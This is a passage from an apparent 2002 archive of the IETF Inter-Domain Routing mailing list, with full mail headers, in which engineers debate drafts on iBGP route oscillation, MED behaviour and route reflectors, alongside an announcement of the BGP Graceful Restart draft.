*necessary* to eliminate even MED-induced oscillations alone. > My take on the subject is that while theoretical protocol correctness > is an admirable goal, it's not more important than scalability. > Protocol scalability plus _practical_ protocol correctness is more > important, IMO. > > As you yourself point out in draft-wilfong-ibgp-oscillations-00.txt: > >Admittedly, the configuration in Figure 1 is not likely in a > >reasonable network. > > I think the IDR working group should be primarily concerned with > reasonable networks. Fixing problems for unreasonable (or > hypothetical) networks seems fine as long as it doesn't conflict with > the operation and scaling of reasonable ones. > > Do you disagree? In principle, I do agree with what you say. However, the question is what we mean by _practical_ protocol correctness, as you call it. Moreover, I think we pointed out in an earlier mail (and I quote): "We feel that our example is no less real than the one outlined in the McPherson I-D since that example also critically relies on a route reflector preferring a route through the client of a different route reflector (due to IGP metrics)." Also, there may be some danger in equating "real" configurations with configurations that are "safe" (i.e., that do not produce oscillations). We cannot say for sure that a "real" configuration (produced by using heuristics or rules of thumb) will never produce MED-induced (or any other kinds of) oscillations. Finally, detecting configurations that are safe is NP-hard, as we have shown in the SIGCOMM paper (reference [5], soon to be available from the ACM SIGCOMM website). Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id MAA27191 for ; Thu, 30 May 2002 12:25:24 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 8AE8991285; Thu, 30 May 2002 12:24:45 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 586E891287; Thu, 30 May 2002 12:24:45 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 2C07991285 for ; Thu, 30 May 2002 12:24:44 -0400 (EDT) Received: by segue.merit.edu (Postfix) id AFA8C5DDD3; Thu, 30 May 2002 12:24:37 -0400 (EDT) Delivered-To: idr@merit.edu Received: from cisco.com (router.cisco.com [171.69.182.20]) by segue.merit.edu (Postfix) with ESMTP id E92DC5DE88 for ; Thu, 30 May 2002 12:24:36 -0400 (EDT) Received: from [171.69.182.155] (dhcp-171-69-182-155.cisco.com [171.69.182.155]) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id MAA18829; Thu, 30 May 2002 12:24:34 -0400 (EDT) Mime-Version: 1.0 X-Sender: jgs@router Message-Id: In-Reply-To: <1117F7D44159934FB116E36F4ABF221B01B14158@celox-ma1-ems1.celoxnetworks.com > References: <1117F7D44159934FB116E36F4ABF221B01B14158@celox-ma1-ems1.celoxnetworks.com > Date: Thu, 30 May 2002 12:24:32 -0400 To: "Natale, Jonathan" From: "John G. Scudder" Subject: RE: Cc: "'f b shepherd'" , idr@merit.edu Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-idr@merit.edu Precedence: bulk At 12:20 PM -0400 5/30/02, Natale, Jonathan wrote: >If this is caused by not having the deterministic med command It's not. --John Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id MAA26976 for ; Thu, 30 May 2002 12:21:30 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 000DC91206; Thu, 30 May 2002 12:20:42 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id C81F191284; Thu, 30 May 2002 12:20:41 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 68BC091206 for ; Thu, 30 May 2002 12:20:40 -0400 (EDT) Received: by segue.merit.edu (Postfix) id E40F75DE88; Thu, 30 May 2002 12:20:33 -0400 (EDT) Delivered-To: idr@merit.edu Received: from celox-ma1-ems1.celoxnetworks.com (celox-ma1-imap1.celoxnetworks.com [12.40.60.233]) by segue.merit.edu (Postfix) with ESMTP id 9C0FC5DDD3 for ; Thu, 30 May 2002 12:20:33 -0400 (EDT) Received: by celox-ma1-ems1.celoxnetworks.com with Internet Mail Service (5.5.2653.19) id ; Thu, 30 May 2002 12:20:39 -0400 Message-ID: <1117F7D44159934FB116E36F4ABF221B01B14158@celox-ma1-ems1.celoxnetworks.com> From: "Natale, Jonathan" To: "'f b shepherd'" , jgs@cisco.com Cc: idr@merit.edu Subject: RE: Date: Thu, 30 May 2002 12:20:37 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-idr@merit.edu Precedence: bulk If this is caused by not having the deterministic med command, then why not roll the command's functionality into the new bgp draft? I consider this command to be a bug fix--where does RFC1771 say that non-deterministic med behavior is ok anyway? I think it does not, but obviously it (like many bgp behaviors) needs to be clarified. Why invent a new command and tell everyone that they should always turn it on, instead of just putting it on by default or just on always? -----Original Message----- From: f b shepherd [mailto:bshep@research.bell-labs.com] Sent: Thursday, May 30, 2002 11:45 AM To: jgs@cisco.com Cc: idr@merit.edu Subject: Dear John, Personally I agree with you. It is not my (I think our) view that protocol correctness a priori outweighs any (including scalability) of the important properties that a protocol should possess in practice. One can take the view that our I-D and paper is meant to help analyze the tradeoffs in achieving the different goals. At the same time, BGP and inter-domain routing has taken on an importance in traffic engineering (and network design) where it is a reasonable and worthwhile endeavour to put in place some fundamentals which would be important in understanding better its behaviour. I feel such models will prove important especially in an effort to understand the cause-and-effect of certain 1-time events or policy changes in a network. For instance, my view is that similar ``fundamentals'' were already well-established in the 50's and 60's for circuit-switched and OSPF-like networks by Ford, Bellman, Fulkerson, and even Dantzig etc. In this sense, it is useful to think of our work as an exploration of the route oscillation problem. IMO this problem is already more complex than it appears on the surface. Dismissing examples as unrealistic is fair enough although it does also beg for an understanding of the line between real and not (Im sure the people on this mailing list are infinitely more aware of this than I). Also, as Anindya pointed out, our own aims were to explore possible solutions for all configurations. Regards, Bruce ---- At 9:39 AM -0400 5/30/02, Anindya Basu wrote: ... >Brijesh Kumar wrote: >>2. I am curious to know if the problem is existent in real networks >>beyond pathological scenario depicted in the draft as to merit >>announcements and storage of multiple routes at the routers. I find >>it too drastic a proposal for a problem whose existence/severity >>seems to be based on a simple paper scenario (unless I see >>reference 5). After all, it proposes to do away the most >>stabilizing BGP/distance vector protocol rule that a peer will >>advertise only its best route to its neighbour. > >in case you have completely missed it (though it is in the references), >the original problem was outlined in an ID (reference [3]) by McPherson >et. al. and actually stems from a cisco field report called "Endless BGP >Convergence Problem in Cisco IOS Software Releases", October 10, 2000. >is that real enough? The MED problem is real enough. However, as we've been discussing in a different thread, your proposal is more far-reaching than just addressing [3]. Specifically: At 1:26 PM -0400 5/29/02, Anindya Basu wrote: >However, our aim was to address the elimination of any possible kind >of oscillation in I-BGP, MED-induced or not, persistent or not. That's laudable in the abstract but inevitably leads to the requirement that you advertise more additional routes than required to fix specifically [3]. My take on the subject is that while theoretical protocol correctness is an admirable goal, it's not more important than scalability. Protocol scalability plus _practical_ protocol correctness is more important, IMO. As you yourself point out in draft-wilfong-ibgp-oscillations-00.txt: >Admittedly, the configuration in Figure 1 is not likely in a >reasonable network. I think the IDR working group should be primarily concerned with reasonable networks. Fixing problems for unreasonable (or hypothetical) networks seems fine as long as it doesn't conflict with the operation and scaling of reasonable ones. Do you disagree? Regards, - --John ------- End of Forwarded Message Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id LAA25558 for ; Thu, 30 May 2002 11:45:31 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 2AC6F91283; Thu, 30 May 2002 11:44:47 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id EA62091284; Thu, 30 May 2002 11:44:46 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 916F191283 for ; Thu, 30 May 2002 11:44:45 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 12A0F5DDDC; Thu, 30 May 2002 11:44:39 -0400 (EDT) Delivered-To: idr@merit.edu Received: from crufty.research.bell-labs.com (ns2.research.bell-labs.com [204.178.16.49]) by segue.merit.edu (Postfix) with ESMTP id DA3F65DDDB for ; Thu, 30 May 2002 11:44:38 -0400 (EDT) Received: from grubby.research.bell-labs.com (H-135-104-2-9.research.bell-labs.com [135.104.2.9]) by crufty.research.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4UFigEF087075; Thu, 30 May 2002 11:44:42 -0400 (EDT) Received: from jessie.research.bell-labs.com (jessie.research.bell-labs.com [135.104.13.5]) by grubby.research.bell-labs.com (8.11.6/8.11.6) with ESMTP id g4UFiZo84262; Thu, 30 May 2002 11:44:35 -0400 (EDT) Received: from jessie.research.bell-labs.com (localhost [127.0.0.1]) by jessie.research.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4UFiZ0J009667; Thu, 30 May 2002 11:44:35 -0400 (EDT) Message-Id: <200205301544.g4UFiZ0J009667@jessie.research.bell-labs.com> To: jgs@cisco.com Cc: idr@merit.edu Subject: Date: Thu, 30 May 2002 11:44:35 -0400 From: f b shepherd Sender: owner-idr@merit.edu Precedence: bulk Dear John, Personally I agree with you. It is not my (I think our) view that protocol correctness a priori outweighs any (including scalability) of the important properties that a protocol should possess in practice. One can take the view that our I-D and paper is meant to help analyze the tradeoffs in achieving the different goals. At the same time, BGP and inter-domain routing has taken on an importance in traffic engineering (and network design) where it is a reasonable and worthwhile endeavour to put in place some fundamentals which would be important in understanding better its behaviour. I feel such models will prove important especially in an effort to understand the cause-and-effect of certain 1-time events or policy changes in a network. For instance, my view is that similar ``fundamentals'' were already well-established in the 50's and 60's for circuit-switched and OSPF-like networks by Ford, Bellman, Fulkerson, and even Dantzig etc. In this sense, it is useful to think of our work as an exploration of the route oscillation problem. IMO this problem is already more complex than it appears on the surface. Dismissing examples as unrealistic is fair enough although it does also beg for an understanding of the line between real and not (Im sure the people on this mailing list are infinitely more aware of this than I). Also, as Anindya pointed out, our own aims were to explore possible solutions for all configurations. Regards, Bruce ---- At 9:39 AM -0400 5/30/02, Anindya Basu wrote: ... >Brijesh Kumar wrote: >>2. I am curious to know if the problem is existent in real networks >>beyond pathological scenario depicted in the draft as to merit >>announcements and storage of multiple routes at the routers. I find >>it too drastic a proposal for a problem whose existence/severity >>seems to be based on a simple paper scenario (unless I see >>reference 5). After all, it proposes to do away the most >>stabilizing BGP/distance vector protocol rule that a peer will >>advertise only its best route to its neighbour. > >in case you have completely missed it (though it is in the references), >the original problem was outlined in an ID (reference [3]) by McPherson >et. al. and actually stems from a cisco field report called "Endless BGP >Convergence Problem in Cisco IOS Software Releases", October 10, 2000. >is that real enough? The MED problem is real enough. However, as we've been discussing in a different thread, your proposal is more far-reaching than just addressing [3]. Specifically: At 1:26 PM -0400 5/29/02, Anindya Basu wrote: >However, our aim was to address the elimination of any possible kind >of oscillation in I-BGP, MED-induced or not, persistent or not. That's laudable in the abstract but inevitably leads to the requirement that you advertise more additional routes than required to fix specifically [3]. My take on the subject is that while theoretical protocol correctness is an admirable goal, it's not more important than scalability. Protocol scalability plus _practical_ protocol correctness is more important, IMO. As you yourself point out in draft-wilfong-ibgp-oscillations-00.txt: >Admittedly, the configuration in Figure 1 is not likely in a >reasonable network. I think the IDR working group should be primarily concerned with reasonable networks. Fixing problems for unreasonable (or hypothetical) networks seems fine as long as it doesn't conflict with the operation and scaling of reasonable ones. Do you disagree? Regards, - --John ------- End of Forwarded Message Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id KAA23109 for ; Thu, 30 May 2002 10:44:10 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id C16FD9127E; Thu, 30 May 2002 10:41:35 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 8AB6F91281; Thu, 30 May 2002 10:41:35 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id CC55E9127E for ; Thu, 30 May 2002 10:41:30 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 5E6AE5DE87; Thu, 30 May 2002 10:41:24 -0400 (EDT) Delivered-To: idr@merit.edu Received: from cisco.com (router.cisco.com [171.69.182.20]) by segue.merit.edu (Postfix) with ESMTP id C40BB5DDB7 for ; Thu, 30 May 2002 10:41:23 -0400 (EDT) Received: from [171.69.182.155] (dhcp-171-69-182-155.cisco.com [171.69.182.155]) by cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with ESMTP id KAA14649; Thu, 30 May 2002 10:37:38 -0400 (EDT) Mime-Version: 1.0 X-Sender: jgs@router Message-Id: In-Reply-To: <3CF62B7A.A5C592AF@research.bell-labs.com> References: <3CF62B7A.A5C592AF@research.bell-labs.com> Date: Thu, 30 May 2002 10:37:10 -0400 To: Anindya Basu From: "John G. Scudder" Subject: Re: iBGP route oscillation drafts Cc: Brijesh Kumar , gtw@lucent.com, anindyabasu , bshep@lucent.com, idr@merit.edu Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-idr@merit.edu Precedence: bulk At 9:39 AM -0400 5/30/02, Anindya Basu wrote: ... >Brijesh Kumar wrote: >>2. I am curious to know if the problem is existent in real networks >>beyond pathological scenario depicted in the draft as to merit >>announcements and storage of multiple routes at the routers. I find >>it too drastic a proposal for a problem whose existence/severity >>seems to be based on a simple paper scenario (unless I see >>reference 5). After all, it proposes to do away the most >>stabilizing BGP/distance vector protocol rule that a peer will >>advertise only its best route to its neighbour. > >in case you have completely missed it (though it is in the references), >the original problem was outlined in an ID (reference [3]) by McPherson >et. al. and actually stems from a cisco field report called "Endless BGP >Convergence Problem in Cisco IOS Software Releases", October 10, 2000. >is that real enough? The MED problem is real enough. However, as we've been discussing in a different thread, your proposal is more far-reaching than just addressing [3]. Specifically: At 1:26 PM -0400 5/29/02, Anindya Basu wrote: >However, our aim was to address the elimination of any possible kind >of oscillation in I-BGP, MED-induced or not, persistent or not. That's laudable in the abstract but inevitably leads to the requirement that you advertise more additional routes than required to fix specifically [3]. My take on the subject is that while theoretical protocol correctness is an admirable goal, it's not more important than scalability. Protocol scalability plus _practical_ protocol correctness is more important, IMO. As you yourself point out in draft-wilfong-ibgp-oscillations-00.txt: >Admittedly, the configuration in Figure 1 is not likely in a >reasonable network. I think the IDR working group should be primarily concerned with reasonable networks. Fixing problems for unreasonable (or hypothetical) networks seems fine as long as it doesn't conflict with the operation and scaling of reasonable ones. Do you disagree? Regards, --John Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id JAA20435 for ; Thu, 30 May 2002 09:40:05 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 9B4929127A; Thu, 30 May 2002 09:39:16 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 64E919127C; Thu, 30 May 2002 09:39:16 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 2E3C09127A for ; Thu, 30 May 2002 09:39:15 -0400 (EDT) Received: by segue.merit.edu (Postfix) id A6ABF5DDB7; Thu, 30 May 2002 09:39:08 -0400 (EDT) Delivered-To: idr@merit.edu Received: from crufty.research.bell-labs.com (ns2.research.bell-labs.com [204.178.16.49]) by segue.merit.edu (Postfix) with ESMTP id 444B65DD95 for ; Thu, 30 May 2002 09:39:08 -0400 (EDT) Received: from grubby.research.bell-labs.com (H-135-104-2-9.research.bell-labs.com [135.104.2.9]) by crufty.research.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4UDdDEF085854; Thu, 30 May 2002 09:39:13 -0400 (EDT) Received: from nslocum.cs.bell-labs.com (nslocum.cs.bell-labs.com [135.104.8.38]) by grubby.research.bell-labs.com (8.11.6/8.11.6) with ESMTP id g4UDd6o70433; Thu, 30 May 2002 09:39:06 -0400 (EDT) Received: from research.bell-labs.com (basu-t23.ddns.bell-labs.com [135.104.52.191]) by nslocum.cs.bell-labs.com (8.12.2/8.12.2) with ESMTP id g4UDd6jq60035041; Thu, 30 May 2002 09:39:06 -0400 (EDT) Message-ID: <3CF62B7A.A5C592AF@research.bell-labs.com> Date: Thu, 30 May 2002 09:39:06 -0400 From: Anindya Basu X-Mailer: Mozilla 4.76 [en]C-CCK-MCD (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Brijesh Kumar Cc: gtw@lucent.com, anindyabasu , bshep@lucent.com, idr@merit.edu Subject: Re: iBGP route oscillation drafts References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-idr@merit.edu Precedence: bulk answers inline. Brijesh Kumar wrote: > > I have a few questions about this draft. As I haven't caught up with all mails, it may be possible these > have been discussed earlier. > > 1. It quotes two references [4] and [5] as Sigcomm 2002 submitted papers as a proof that the use of route > reflectors alone in the absence of MEDs can lead to persistent or transient route oscillations (proof in 4) > and whether or not route reflectors are used, configurations using the MED attribute can lead to transient > route oscillations (proof in 5). Also, most of the assertions in this draft are based on proof in [5]. Since > SIGCOMM 2002 is in August, I would like to know if these referenced drafts are in some public places, and > also if they have been accepted for publication. both the references quoted have been accepted for publication in sigcomm 2002 (which is exactly what the references say). they will hopefully be available from the sigcomm website after we turn in the final versions on june 21. > 2. I am curious to know if the problem is existent in real networks beyond pathological scenario depicted in > the draft as to merit announcements and storage of multiple routes at the routers. I find it too drastic a > proposal for a problem whose existence/severity seems to be based on a simple paper scenario (unless I > see reference 5). After all, it proposes to do away the most stabilizing BGP/distance vector protocol rule > that a peer will advertise only its best route to its neighbour. in case you have completely missed it (though it is in the references), the original problem was outlined in an ID (reference [3]) by McPherson et. al. and actually stems from a cisco field report called "Endless BGP Convergence Problem in Cisco IOS Software Releases", October 10, 2000. is that real enough? cheers, -anindya p.s. and next time, please do put in line breaks in your emails, it makes parsing so much easier :-) > > cheers, > > --brijesh > > ----------------------- > disclaimer: The views expressed do not necessarily represent the views of my organization. > Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id HAA15327 for ; Thu, 30 May 2002 07:28:59 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 0BC0991226; Thu, 30 May 2002 07:28:11 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id C7A3591257; Thu, 30 May 2002 07:28:10 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 6E48291226 for ; Thu, 30 May 2002 07:28:09 -0400 (EDT) Received: by segue.merit.edu (Postfix) id E02B95DE88; Thu, 30 May 2002 07:28:02 -0400 (EDT) Delivered-To: idr@merit.edu Received: from ietf.org (odin.ietf.org [132.151.1.176]) by segue.merit.edu (Postfix) with ESMTP id 6BD1A5DE7D for ; Thu, 30 May 2002 07:28:02 -0400 (EDT) Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA29369; Thu, 30 May 2002 07:27:42 -0400 (EDT) Message-Id: <200205301127.HAA29369@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce: ; Cc: idr@merit.edu From: Internet-Drafts@ietf.org Reply-To: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-idr-restart-05.txt Date: Thu, 30 May 2002 07:27:42 -0400 Sender: owner-idr@merit.edu Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Inter-Domain Routing Working Group of the IETF. Title : Graceful Restart Mechanism for BGP Author(s) : S. Sangli, Y. Rekhter, R. Fernando, J. Scudder, E. Chen Filename : draft-ietf-idr-restart-05.txt Pages : 10 Date : 29-May-02 This document proposes a mechanism for BGP that would help minimize the negative effects on routing caused by BGP restart. An End-of-RIB marker is specified and can be used to convey routing convergence information. A new BGP capability, termed 'Graceful Restart Capability', is defined which would allow a BGP speaker to express its ability to preserve forwarding state during BGP restart. Finally, procedures are outlined for temporarily retaining routing information across a TCP transport reset. The mechanisms described in this document are applicable to all routers, both those with the ability to preserve forwarding state during BGP restart and those without (although the latter need to implement only a subset of the mechanisms described in this document). A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-idr-restart-05.txt To remove yourself from the IETF Announcement list, send a message to ietf-announce-request with the word unsubscribe in the body of the message. Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-idr-restart-05.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-idr-restart-05.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20020529140509.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-idr-restart-05.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-idr-restart-05.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20020529140509.I-D@ietf.org> --OtherAccess-- --NextPart-- Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id VAA21330 for ; Wed, 29 May 2002 21:05:21 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id E22D191267; Wed, 29 May 2002 21:04:32 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id ABC6091268; Wed, 29 May 2002 21:04:32 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 5ECCC91267 for ; Wed, 29 May 2002 21:04:31 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 6C10F5DE8B; Wed, 29 May 2002 21:04:25 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id D1E085DE72 for ; Wed, 29 May 2002 21:04:24 -0400 (EDT) Received: from roque-bsd.juniper.net (roque-bsd.juniper.net [172.17.12.183]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4U14Hm66232; Wed, 29 May 2002 18:04:17 -0700 (PDT) (envelope-from roque@juniper.net) Received: (from roque@localhost) by roque-bsd.juniper.net (8.11.1/8.9.3) id g4U14HI59605; Wed, 29 May 2002 18:04:17 -0700 (PDT) (envelope-from roque) Date: Wed, 29 May 2002 18:04:17 -0700 (PDT) Message-Id: <200205300104.g4U14HI59605@roque-bsd.juniper.net> From: Pedro Roque Marques MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: Jeffrey Haas Cc: Anindya Basu , Alvaro Retana , Gordon Wilfong , "John G. Scudder" , Pramod Koppol , idr@merit.edu, dwalton@cisco.com, dacook@cisco.com, gtw@lucent.com, anindyabasu , bshep@lucent.com Subject: Re: iBGP route oscillation drafts In-Reply-To: <20020529183922.GC815@nexthop.com> References: <3CF50F32.29CD91E0@research.bell-labs.com> <20020529183922.GC815@nexthop.com> X-Mailer: VM 6.34 under 19.16 "Lille" XEmacs Lucid Sender: owner-idr@merit.edu Precedence: bulk Jeffrey Haas writes: > In addition to your comments about *which* routes to distribute, > namely only those that get to the point of the MED comparison > portion of route selection (i.e. it has passed Local_Pref and > AS_PATH length comparisons) it is only necessary to distribute your > best MEDs, not all of them. Jeff, Yes but... i believe there is an important point that Anindya (et al) make with the draft/discussion... In the route oscilation document, the problems apear characterized as being trigered by RR and confed usage however this isn't strictly the cause. If you take a look at the 'Route Reflection and Type I Churn' for instance that is depicted in the oscilation draft, the oscilation occurs between two iBGP peers. The fact that they are RR servers isn't really the main factor here... it just makes for a 'realistic'/understandable scenario where this can happen. But the fact is that the problem is caused because you can have paths such that router A makes a selection based on the presence path that it receives from an ibgp neighbor which then is withrawn as a result of this selection. It is easy to reproduce the problem just with ibgp if you use a policy that tweaks local-pref (as an example) on a route received through ibgp. One may argue that this isn't 'realistic' and thus irrelevant... However a counter argument may be made that the RR and confed problems that are documented in the route oscilation draft are not guaranteed to be the only ones existing in real networks. While it may be possible to solve this problem by just advertising routes that are the 'best in group' i.e. best from the same AS (as Alvaro suggest) it seems necessary to address it whenever RR/confed is present or not (as Anindya points out). That said, the problem is in the details... I'm fairly sceptic that the current -walton drafts describe the full set of mechanisms necessary. Plus one would need to access the cost of that from an operational point of view. Comparing vs always-compare-med and/or vs 'ibgp dampening' or any other sort of mechanism that slows down the speed of the transitions. Pedro. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id PAA08344 for ; Wed, 29 May 2002 15:15:09 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id 4BF9991261; Wed, 29 May 2002 15:14:42 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 1FCFC91262; Wed, 29 May 2002 15:14:42 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id E356991261 for ; Wed, 29 May 2002 15:14:40 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 0F5E85DE8C; Wed, 29 May 2002 15:14:35 -0400 (EDT) Delivered-To: idr@merit.edu Received: from merlot.juniper.net (natint.juniper.net [207.17.136.129]) by segue.merit.edu (Postfix) with ESMTP id ADDA15DE8A for ; Wed, 29 May 2002 15:14:34 -0400 (EDT) Received: from roque-bsd.juniper.net (roque-bsd.juniper.net [172.17.12.183]) by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id g4TJEem40354; Wed, 29 May 2002 12:14:40 -0700 (PDT) (envelope-from roque@juniper.net) Received: (from roque@localhost) by roque-bsd.juniper.net (8.11.1/8.9.3) id g4TJEeo59009; Wed, 29 May 2002 12:14:40 -0700 (PDT) (envelope-from roque@juniper.net) Date: Wed, 29 May 2002 12:14:40 -0700 (PDT) Message-Id: <200205291914.g4TJEeo59009@roque-bsd.juniper.net> X-Authentication-Warning: roque-bsd.juniper.net: roque set sender to roque@juniper.net using -f From: Pedro Roque Marques To: dwalton@cisco.com, aretana@cisco.com, dacook@cisco.com, jgs@cisco.com Cc: idr@merit.edu Subject: Comments on ibgp oscilation draft(s). Sender: owner-idr@merit.edu Precedence: bulk Alvaro et all, In the 'route-oscillation-stop' draft your proposal specifies that a "route reflector [4] or a sub-AS border router in a BGP confederation [5] MUST advertise the following to its IBGP or confederation peers" You do not specify any changes to the behaviour of other BGP speakers in the ibgp domain. As such one could assume that there are no modifications to their behaviour however i don't really understand how can that be the case. Currently, implementations send a withrawn of any previously advertised path to an iBGP speaker when the best path changes so that the best path is now the path received from the neighbor in question. If R1 is iBGP neighbor of RR1, when receiving a path from RR1 that RC1 considers best that any previously know path it will withdraw it's advertised path. - I assume, but this needs to be specified, that you propose to change this behaviour so that R1 will now advertise via the new ADD_PATH extensions it's previous path (you need to specify which paths/conditions apply here). If this doesn't happen then all rr clients will withrawn their paths... and you get back into having the same information that you had before the ADD_PATH extension, correct ? - The proposed extensions advertise not-best paths between iBGP peers. However iBGP does not have a loop avoidance mechanism. i.e. a peer can't know it is listening back to an advertisement that it sourced (in iBGP you don't advertise iBGP routes so the problem couldn't occur). I believe that you need to address this issue... it would help to understand how a path that is not best gets withrawn out of the iBGP. Received: from trapdoor.merit.edu (postfix@trapdoor.merit.edu [198.108.1.26]) by nic.merit.edu (8.9.3/8.9.1) with ESMTP id OAA07024 for ; Wed, 29 May 2002 14:40:36 -0400 (EDT) Received: by trapdoor.merit.edu (Postfix) id C61D191201; Wed, 29 May 2002 14:40:06 -0400 (EDT) Delivered-To: idr-outgoing@trapdoor.merit.edu Received: by trapdoor.merit.edu (Postfix, from userid 56) id 9A1949120E; Wed, 29 May 2002 14:40:06 -0400 (EDT) Delivered-To: idr@trapdoor.merit.edu Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by trapdoor.merit.edu (Postfix) with ESMTP id 7FA1991201 for ; Wed, 29 May 2002 14:40:05 -0400 (EDT) Received: by segue.merit.edu (Postfix) id 9163B5DE8A; Wed, 29 May 2002 14:39:59 -0400 (EDT) Delivered-To: idr@merit.edu Received: from 